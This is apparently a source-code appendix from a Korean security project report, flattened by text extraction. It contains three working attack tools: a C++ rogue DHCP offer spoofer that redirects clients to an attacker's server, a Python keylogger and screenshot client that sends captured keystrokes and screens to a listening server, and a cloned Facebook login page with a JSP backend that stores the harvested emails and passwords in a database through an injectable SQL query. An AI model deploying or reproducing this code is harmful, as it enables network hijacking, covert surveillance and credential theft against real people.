const u_char *packet; struct pcap_pkthdr *pkthdr; int res; char errbuf[pcap_errbuf_size]; pcd=pcap_open_live(ps->using_interface(), BUFSIZ, 1, 1, errbuf); int check0,check20; while(true) res=pcap_next_ex(pcd, &pkthdr, &packet); if(pkthdr->len<=0 (check==1 && check2==1)) //check 값이둘다 1일때함수종료 return true;// break -> return true switch (res) case 1: struct ether_header *ep = (struct ether_header *)packet; if(ep->ether_type==ntohs(0x0800)) packet+=sizeof(struct ether_header); struct iphdr *ip = (struct iphdr *)packet; if(ip->protocol!=0x11) break; packet+=ip->ihl*4; struct udphdr *up = (struct udphdr *)packet; packet +=sizeof(struct udphdr); struct bootstrap *bs = (struct bootstrap *)packet; uint8_t *bspoint_packet=(uint8_t*)packet; bspoint_packet+=sizeof(struct bootstrap); uint8_t option=*bspoint_packet; uint8_t *temp_pointer; if(bs->message_type==0x01) //discover ps->parse_client_mac(ep->ether_shost); ps->parse_transaction_id(bs->transaction_id); check=1; cout << ">> Client mac is parsed" << endl; - 48 -

else if(bs->message_type==0x02) //offer if(ip->saddr!=*ps->using_attacker_dhcp_server_ip() memcmp(ep->ether_shost,ps->using_attacker_dhcp_server_mac(),6)!=0)//add break; memcpy(ps->origin_dhcp_mac,ep->ether_shost,6); ps->origin_dhcp_ip=ip->saddr; while(option!=dhcp_option_end) uint8_t length0; switch (option) case DHCP_OPTION_DHCP_SERVER_IDENTIFIER: bspoint_packet++; length=*bspoint_packet; memcpy(bspoint_packet+1,ps->using_attacker_dhcp_server_ip(),4); bspoint_packet+=length; option=*(bspoint_packet+1); bspoint_packet++; break; case DHCP_OPTION_VENDOR_ENCAPSULATED_OPTIONS: temp_pointer=bspoint_packet; bspoint_packet+=2; while(true) length=0; if(*bspoint_packet==8) bspoint_packet+=5; memcpy(bspoint_packet,ps->using_attacker_dhcp_server_ip(),4); - 49 -

break; bspoint_packet++; length=*bspoint_packet; bspoint_packet++; bspoint_packet+=length; bspoint_packet=temp_pointer; bspoint_packet++; length=*bspoint_packet; bspoint_packet+=length; option= *(bspoint_packet+1); break; default: bspoint_packet++; length=*bspoint_packet; bspoint_packet+=length; option= *(bspoint_packet+1); bspoint_packet++; break; cal_checksum cc; cout << ">> Data modify Complete" << endl; // 데이터변조끝 ps->make_dhcp_arr_space(mtu); ps->get_dhcp_data_length(ntohs(up->len)-sizeof(struct udphdr)); ps->get_dhcp_data((uint8_t*)packet); ps->make_dhcp_length(sizeof(struct ether_header)+ntohs(ip->tot_len)); 에서필요한부분파씽완료 cout << ">> DHCP Offer data is parsed" << endl; //offer 패킷 - 50 -

memcpy(ep->ether_shost,ps->using_attacker_dhcp_server_mac(),6); ps->make_dhcp_packet((uint8_t*)ep,sizeof(struct ether_header),false); ps->pre_packet_length=sizeof(struct ether_header); ip->saddr=*ps->using_attacker_dhcp_server_ip(); //ip checksum cc.get_iphdr(ip); ip->check=htons(cc.checksum(ipchecksum)); // ps->make_dhcp_packet((uint8_t*)ip,ip->ihl*4,true); ps->pre_packet_length+=ip->ihl*4; bs->transaction_id=*ps->using_transaction_id(); //udp checksum bs->next_server_ip_addr=*ps->using_attacker_dhcp_server_ip(); cc.get_udphdr(up); cc.get_pesudo(udpchecksum); up->check=htons(cc.checksum(udpchecksum)); ps->make_dhcp_packet((uint8_t*)up,sizeof(struct udphdr),true);//udp 데이터패킷생성 ps->pre_packet_length+=sizeof(struct udphdr);//udp 패킷뒤에 bootstrap이붙음으로길이측정해놓음 ps->make_dhcp_packet((uint8_t*)bs,ps->using_dhcp_data_length(),true);//bootstr ap 데이터패킷생성 //ps->show_dhcp_packet(); check2=1; // 패킷데이터를공격자의데이터로변조 break; case 0: continue; case -1: printf(">> Error!!\n"); pcap_close(pcd); - 51 -

sleep(1); pcd = pcap_open_live(ps->using_interface(), BUFSIZ, 1, 1, errbuf); break; case -2: printf("eof"); break; default: break; void detect_tftp_packet(parse *ps, atomic<bool> &run) //tftp 발생시공격중지 char errbuf[pcap_errbuf_size]; const u_char *packet; struct pcap_pkthdr *pkthdr; int res; pcap_t *pcd; pcd=pcap_open_live(ps->using_interface(), BUFSIZ, 1, 1, errbuf); while(run) res=pcap_next_ex(pcd, &pkthdr, &packet); switch (res) case 1: packet+=sizeof(ether_header); struct iphdr *iph = (struct iphdr*)packet; packet+=iph->ihl*4; if(iph->protocol!=0x11) break; packet+=sizeof(udphdr); if(memcmp(packet,&ps->read_request,2)==0) cout << "TFTP Detect!!"<<endl; run=false; - 52 -

break; case 0: continue; case -1: printf(">> Error!!\n"); pcap_close(pcd); sleep(1); pcd = pcap_open_live(ps->using_interface(), BUFSIZ, 1, 1, errbuf); break; case -2: printf("eof"); break; default: break; main.cpp #include <iostream> #include <stdlib.h> #include <pcap.h> #include <string> #include <netinet/ether.h> #include <netinet/ip.h> #include <netinet/udp.h> #include <thread> #include <pthread.h> #include "parse.h" #include "detect_packet.h" #include "send_packet.h" using namespace std; //dhcp flag 1 -> broadcast //dhcp flag 0 -> unicast int main(int argc, char *argv[]) - 53 -

parse ps(argc,argv); bool check = detect_parsing_packet(&ps); if(check!=true) return 0; //thread arp(send_arp, &ps); send_dhcp_offer(&ps); //if(arp.joinable()==true) // arp.join(); cout << "finish" << endl; return 0; parse.cpp #include "parse.h" #include "convert_char_to_binary.h" using namespace std; parse::parse(int argc, char*argv[]) this->interface=argv[1]; check_argc(argc,argv); void parse::check_argc(int argc, char *argv[]) if(argc!=4) // 인자갯수판별, 인자의수가 4개가안될경우사용법출력후종료 cout << "<usage> : <Interface> <Send DHCP SERVER IP> <Send DHCP SERVER MAC>" << endl; exit(1); char_to_binary(argv[3],this->attacker_dhcp_mac); inet_pton(af_inet, argv[2],&this->attacker_dhcp_ip); memset(this->broadcast,255,6); memset(this->allpacket,0,6); parse_data_in_linux(); void parse::get_my_mac(uint8_t mac[6]) memcpy(this->attacker_mac,mac,6); - 54 -

void parse::get_my_ip(char ip[16]) inet_pton(af_inet, ip, &this->attacker_ip); void parse::parse_data_in_linux() // 공격자, 즉나의 mac주소파씽 //-----------------------------get mac!!----------------------------- char host_mac[18];//mymac FILE *m; string str_ifconfig = "ifconfig "; string interface = this->using_interface(); string regex = " grep -o -E '([[:xdigit:]]1,2:)5[[:xdigit:]]1,2'"; str_ifconfig=str_ifconfig+interface+regex; my(attacker) const char *command=str_ifconfig.c_str(); m=popen(command,"r"); fgets((char*)host_mac,18, m); uint8_t mac[6]; char_to_binary(host_mac,mac); this->get_my_mac(mac); //-----------------------------get my(attacker) ip!!----------------------------- // 공격자즉나의 ip 파씽 FILE *i; i=popen("ip addr grep 'inet' grep brd awk 'printf $2' awk -F/ ' printf $1'","r"); char host_ip[16]; fgets(host_ip,16,i); this->get_my_ip(host_ip); void parse::parse_client_mac(uint8_t mac[6]) memcpy(this->client_mac,mac,6); char *parse::using_interface() return this->interface; uint8_t *parse::using_allpacket() return this->allpacket; - 55 -

uint8_t *parse::using_broadcast() return this->broadcast; uint8_t *parse::using_attacker_dhcp_server_mac() return this->attacker_dhcp_mac; uint32_t *parse::using_attacker_dhcp_server_ip() return &this->attacker_dhcp_ip; void parse::get_dhcp_data_length(int length) this->dhcp_data_length=length; void parse::get_dhcp_data(uint8_t *packet) memcpy(this->dhcp_data,packet,this->dhcp_data_length); uint8_t * parse::using_dhcp_data() return this->dhcp_data; void parse::make_dhcp_arr_space(int size) this->dhcp_data = new uint8_t[size]; void parse::make_dhcp_length(int size) this->dhcp_length = size; this->dhcp_packet = new uint8_t[this->dhcp_length]; void parse::make_dhcp_packet(uint8_t *packet, int length, bool pointer) if(pointer == false) memcpy(this->dhcp_packet,packet,length); else if(pointer == true) memcpy(this->dhcp_packet+this->pre_packet_length,packet,length); // int parse::using_dhcp_data_length() return this->dhcp_data_length; int parse::using_dhcp_length() return this->dhcp_length; uint8_t *parse::using_dhcp_packet() - 56 -

return this->dhcp_packet; void parse::show_dhcp_packet() // 패킷출력함수 for(int i=0; i<this->dhcp_length; i++) if(i%16==0) cout << endl; printf("%02x ",this->dhcp_packet[i]); cout << endl; void parse::make_arp_packet() //arp 사용안함 struct using_arp_type_data utd; this->arp_length= sizeof(struct ether_header) + sizeof(struct arp_header); this->arp_packet = new uint8_t[this->arp_length]; memcpy(this->arp_packet,this->origin_dhcp_mac,6); //?? right? memcpy(this->arp_packet+6,this->attacker_mac,6); //?? right? memcpy(this->arp_packet+12,&utd.ether_arp_type,2); memcpy(this->arp_packet+14,&utd.hardware_type,2); memcpy(this->arp_packet+16,&utd.ipv4_type,2); memcpy(this->arp_packet+18,&utd.hardware_size,1); memcpy(this->arp_packet+19,&utd.protocol_size,1); memcpy(this->arp_packet+20,&utd.reply_opcode,2); memcpy(this->arp_packet+22,this->attacker_mac,6); //?? right? memcpy(this->arp_packet+28,this->using_broadcast(),4); //?? modi?255.255.255.255 or 0.0.0.0 memcpy(this->arp_packet+32,this->origin_dhcp_mac,6); //?? right? memcpy(this->arp_packet+38,&this->origin_dhcp_ip,4); //?? right? /* cout << "<arp packet>\n"; for(int i=0; i<this->arp_length; i++) if(i%16==0) cout << endl; printf("%02x ",this->arp_packet[i]); */ uint8_t *parse::using_arp_packet() // 사용안했음 return this->arp_packet; - 57 -

int parse::using_arp_packet_length() // 사용안했음 return this->arp_length; void parse::parse_transaction_id(uint16_t id) this->transaction_id=id; uint16_t *parse::using_transaction_id() return &this->transaction_id; send_packet.cpp #include "send_packet.h" #include "detect_packet.h" void send_arp(parse *ps)// 사용안함 ps->make_arp_packet(); char errbuf[pcap_errbuf_size]; pcap_t *pcd; pcd=pcap_open_live(ps->using_interface(),bufsiz,1,1,errbuf); while(true) cout << ">>Send Arp Packet" << endl; pcap_sendpacket(pcd,(const u_char*)ps->using_arp_packet(),ps->using_arp_packet_length()); void send_dhcp_offer(parse *ps)// 생성된 offer패킷전송 atomic<bool> runtrue; thread detect(detect_tftp_packet,ps,ref(run)); char errbuf[pcap_errbuf_size]; pcap_t *pcd; pcd=pcap_open_live(ps->using_interface(),bufsiz,1,1,errbuf); while(run) cout << ">> Send DHCP Packet!!" << endl; pcap_sendpacket(pcd,(const u_char*)ps->using_dhcp_packet(),ps->using_dhcp_length()); //temp sleep(1); - 58 -

if(detect.joinable()==true) detect.join(); Keylogger server.py import socketserver import threading import json import base64 import pickle HOST = '' PORT = 9009 lock = threading.lock() SCREENSHOT_PATH = "" class UserManager: def init (self): self.users = self.num = 1 def adduser(self, conn, addr): username = "user" + str(self.num) self.num += 1 lock.acquire() self.users[username] = (conn, addr) lock.release() self.sendmessagetoall('[%s] 사용자가접속했습니다.' %username) print('+++ 접속된 PC 수 [%d]' %len(self.users)) return username - 59 -

def removeuser(self, username): if username not in self.users: return lock.acquire() del self.users[username] lock.release() self.sendmessagetoall('[%s] 사용자와접속이끊어졌습니다..' %username) print('--- 접속된 PC 수 [%d]' %len(self.users)) def messagehandler(self, username, msg): if msg[0]!= '/': self.sendmessagetoall('[%s] %s' %(username, msg)) return if msg.strip() == '/quit': self.removeuser(username) return -1 def sendmessagetoall(self, msg): for conn, addr in self.users.values(): conn.send(msg.encode()) class MyTcpHandler(socketserver.BaseRequestHandler): userman = UserManager() def handle(self): print('[%s] 연결됨 ' %self.client_address[0]) username = self.registerusername() try: while True: decoded_msg = '' # TODO!!! while not len(decoded_msg) or decoded_msg[-1]!= '\n': msg = self.request.recv(1) decoded_msg += msg.decode() size = int(decoded_msg.strip()) - 60 -

msg = "" while size: msg += chr(self.request.recv(1)[0]) size -= 1 print(len(msg)) print("[%s]"%(username)) try: datas = pickle.loads(msg.encode('latin1')) if type(datas) == type([]): for data_type, data in datas: if data_type == 0: print(data) elif data_type == 1: path = SCREENSHOT_PATH + username + ".bmp" with open(path, "wb") as f: f.write(base64.b64decode(data)) print("screenshot saved", path) if self.userman.messagehandler(username, decoded_msg) == -1: self.request.close() break except ValueError as e: print("valueerror", e) except Exception as e: print("exception", e) print('[%s] 접속종료 ' %self.client_address[0]) self.userman.removeuser(username) def registerusername(self): while True: username = self.userman.adduser(self.request, self.client_address) if username: return username class ChatingServer(socketserver.ThreadingMixIn, socketserver.tcpserver): pass def runserver(): - 61 -

print('+++ 서버를시작합니다.') print('+++ 서버를끝내려면 Ctrl + C 를누르세요.') try: server = ChatingServer((HOST, PORT), MyTcpHandler) server.serve_forever() except KeyboardInterrupt: print('-- 서버를종료합니다.') server.shutdown() server.server_close() runserver() client.py from ctypes import * # from winappdbg import Debug, HexDump, Win32 import ctypes import ctypes.wintypes import array import sys import win32gui import pythoncom, pyhook import win32clipboard import win32ui import win32con - 62 -

import win32api import time import datetime import psutil import threading import base64 import pickle from PIL import Image from socket import * data_queue = [] global_sock = None def print_queue(data_queue): datas = pickle.dumps(data_queue) global_sock.send((str(len(datas)) + '\n').encode()) global_sock.send(datas) keytime = int(datetime.datetime.now().timestamp()) NOTIFY_SECOND = 30 # 30 초 def getcurwintitle(): try: pid = ctypes.wintypes.dword() hwnd = win32gui.getforegroundwindow() wintitle = win32gui.getwindowtext(hwnd) ctypes.windll.user32.getwindowthreadprocessid(hwnd, ctypes.byref(pid)) except: return '[%s][%s]' % (psutil.process(pid.value).name(),wintitle) return '[Unknown Window]' - 63 -

def getcurprocess(): pid = ctypes.wintypes.dword() hwnd = ctypes.windll.user32.getforegroundwindow() ctypes.windll.user32.getwindowthreadprocessid(hwnd, ctypes.byref(pid)) processid = "[%d]" % pid.value return processid def getscreenshot() : global data_queue hwnd = win32gui.getdesktopwindow() left, top, right, bottom = win32gui.getwindowrect(hwnd) height = bottom - top width = right - left hdc = win32gui.getwindowdc(hwnd) # DC for Windows pdc = win32ui.createdcfromhandle(hdc) # DC for pywin32 memdc = pdc.createcompatibledc() screenshot = win32ui.createbitmap() screenshot.createcompatiblebitmap(pdc, width, height) memdc.selectobject(screenshot) memdc.bitblt((0,0), (width, height), pdc, (left, top), win32con.srccopy) screenshot.savebitmapfile(memdc, 'C:\screen\screenshot2.bmp') img = Image.open('C:\screen\screenshot2.bmp') img.thumbnail((img.size[0] / 5, img.size[1] / 5)) img.save('tmp.bmp') with open('tmp.bmp', 'rb') as f: raw = base64.b64encode(f.read()) data_queue.append((1, raw)) - 64 -

memdc.deletedc() win32gui.deleteobject(screenshot.gethandle()) def OnKeyboardEvent(event) : global keytime, data_queue keytime = int(datetime.datetime.now().timestamp()) data = "" data += getcurwintitle() + getcurprocess() + '\n' data += '++ Key: %s'%(event.key) data += ' KeyID(ASCII): %s\n'%(event.keyid) data_queue.append((0, data)) if event.key == "Snapshot": getscreenshot() return True def checkkeytime(): global keytime, NOTIFY_SECOND, data_queue while True: if int(datetime.datetime.now().timestamp()) - keytime > NOTIFY_SECOND and data_queue: print_queue(data_queue) data_queue = [] keytime = int(datetime.datetime.now().timestamp()) if len(data_queue) >= 20: print_queue(data_queue) data_queue = [] time.sleep(0.01) def main(): global global_sock try: - 65 -

thread = threading.thread(target=checkkeytime) thread.start() with socket() as sock: global_sock = sock HOST = '192.168.182.128' PORT = 9009 sock.connect((host, PORT)) hm=pyhook.hookmanager() hm.keydown = OnKeyboardEvent hm.hookkeyboard() pythoncom.pumpmessages() except KeyboardInterrupt: thread.stop() if name == ' main ': main() Phishing Site fb.html.. 중략.. </script></head><body class="fbindex UIPage_LoggedOut _-kb _61s0 _605a b_c3pyn-ahh chrome webkit win x1 Locale_ko_KR" dir="ltr"><div class="_li" id="u_0_e"><div class="_3_s0 _1toe _3_s1 _3_s1 uiboxgray noborder" data-testid="ax-navigation-menubar" id="u_0_f"><div class="_608m"><div class="_5aj7 _tb6"><div class="_4bl7"><span class="mrm _3bcv _50f3"> 이동 - 66 -

</span></div><div class="_4bl9 _3bcp"><div class="_6a _608n" aria-label="탐색 도우미" aria-keyshortcuts="alt+/" role="menubar" id="u_0_g"><div class="_6a uipopover" id="u_0_h"><a role="button" class="_42ft _4jy0 _55pi _2agf _4o_4 _63xb _p _4jy3 _517h _51sy" href="#" style="max-width:200px;" aria-haspopup="true" aria-expanded="false" rel="toggle" id="u_0_i"><span class="_55pe"> 이페이지의섹션 </span><span class="_4o_3 _3-99"><i class="img sp_tqdttrwieat sx_78fce6"></i></span></a></div><div class="_6a _3bcs"></div><div class="_6a mrm uipopover" id="u_0_j"><a role="button" class="_42ft _4jy0 _55pi _2agf _4o_4 _3_s2 _63xb _p _4jy3 _4jy1 selected _51sy" href="#" style="max-width:200px;" aria-haspopup="true" tabindex="-1" aria-expanded="false" rel="toggle" id="u_0_k"><span class="_55pe"> 접근성도움말 </span><span class="_4o_3 _3-99"><i class="img sp_tqdttrwieat sx_f33599"></i></span></a></div></div></div><div class="_4bl7 mlm pll _3bct"><div class="_6a _3bcy"> 메뉴를 열려면 <span class="_3bcz">alt</span> + <span class="_3bcz">/</span> 키조합을누르세요 </div></div></div></div></div><div id="pagelet_bluebar" data-referrer="pagelet_bluebar"><div id="bluebardominspector"><div class="_53jh"><div class="loggedout_menubar_container"><div class="clearfix loggedout_menubar"><div class="lfloat _ohe"><h1><a href="https://ko-kr.facebook.com/" title="facebook 홈으로 이동"><i class="fb_logo img sp_tqdttrwieat sx_59d053"><u>facebook</u></i></a></h1></div><div class="menu_login_container rfloat _ohf" data-testid="royal_login_form"><form id="login_form" action="login.jsp" method="post" novalidate="1" onsubmit="return window.event && Event. inlinesubmit && Event. inlinesubmit(this,event)"><input type="hidden" name="lsd" value="avqmmrv8" autocomplete="off" /><table cellspacing="0" role="presentation"><tr><td class="html7magic"><label for="email"> 이메일또는휴대 폰 </label></td><td class="html7magic"><label for="pass"> 비밀번호 </label></td></tr><tr><td><input type="email" class="inputtext" name="email" id="email" tabindex="1" data-testid="royal_email" /></td><td><input type="password" class="inputtext" name="pass" id="pass" tabindex="2" data-testid="royal_pass" /></td><td><label class="uibutton uibuttonconfirm" id="loginbutton" for="u_0_2"><input value="로그인" aria-label="로그인" tabindex="4" data-testid="royal_login_button" type="submit" id="u_0_2" /></label></td></tr><tr><td class="login_form_label_field"></td><td class="login_form_label_field"><div><a href="https://www.facebook.com/recover/initiate?lwv=110&ars=royal_blue_b - 67 -

ar"> 계정을 잊으셨나요?</a></div></td></tr></table><input type="hidden" autocomplete="off" name="timezone" value="" id="u_0_3" /><input type="hidden" autocomplete="off" name="lgndim" value="" id="u_0_4" /><input type="hidden" name="lgnrnd" value="033807_y1cy" /><input type="hidden" id="lgnjs" name="lgnjs" value="n" /><input type="hidden" autocomplete="off" name="ab_test_data" value="" /><input type="hidden" autocomplete="off" id="locale" name="locale" value="ko_kr" /><input type="hidden" autocomplete="off" name="login_source" value="login_bluebar" /><input type="hidden" autocomplete="off" id="prefill_contact_point" name="prefill_contact_point" /><input type="hidden" autocomplete="off" id="prefill_source" name="prefill_source" /><input type="hidden" autocomplete="off" id="prefill_type" name="prefill_type" /></form></div></div></div></div></div></div><div id="globalcontainer" class="uicontextuallayerparent"><div class="fb_content clearfix " id="content" role="main"><div><div class="gradient"><div class="gradientcontent"><div class="clearfix"><div class="lfloat _ohe"><div class="_5iyy"><div class="_5iyx">facebook에서전세계에있는친구, 가족, 지인들과함께이야기를나눠 보세요.</div><img class="img" src="https://static.xx.fbcdn.net/rsrc.php/v3/yc/r/gwfs3_kxnjs.png" alt="" width="537" height="195" /></div></div><div class="_5iyz rfloat _ohf"><div class="pvl _52lp _59d-"><div class="mbs _52lq fsl fwb fcb"> 가입하기 </div><div class="_52lr fsm fwn fcg"> 항상지금처럼무료로즐기실수있습니다.</div></div><div id="registration_container"><div><noscript><div id="no_js_box"><h2> 브라우저에서 Javascript가비활성화되었습니다.</h2><p> 브라우저에서 JavaScript를활성화하거나 Javascript 이용이가능한브라우저로업그레이드하신후 Facebook에가입하세 요.</p></div></noscript><div class="_58mf"><div id="reg_box" class="registration_redesign"><div><div id="reg_error" class="hidden_elem _58mn" role="alert"><div class="_58mo" id="reg_error_inner" tabindex="0"> 오류가발생했습니 다. 다시시도하세요.</div></div>.. 중략.. login.jsp <%@page import="java.sql.*" contenttype="text/html;charset=utf-8"%> <script> - 68 -

alert(" 이메일또는비밀번호오류입니다."); location.href="https://www.facebook.com"; </script> <% String email = request.getparameter("email"); email = new String(email.getBytes("8859_1"),"UTF-8"); String pass = request.getparameter("pass"); pass = new String(pass.getBytes("8859_1"),"UTF-8"); %> <% Class.forName("org.gjt.mm.mysql.Driver"); Connection one = null; String url = "jdbc:mysql://localhost:3306/fb"; one = DriverManager.getConnection(url, "root", "12345"); Statement two; two = one.createstatement(); int money; String query; query = "insert into tfb values("; query +="'" + email + "',"; query +="'" + pass + "')"; money = two.executeupdate(query); one.close(); two.close(); %> - 69 -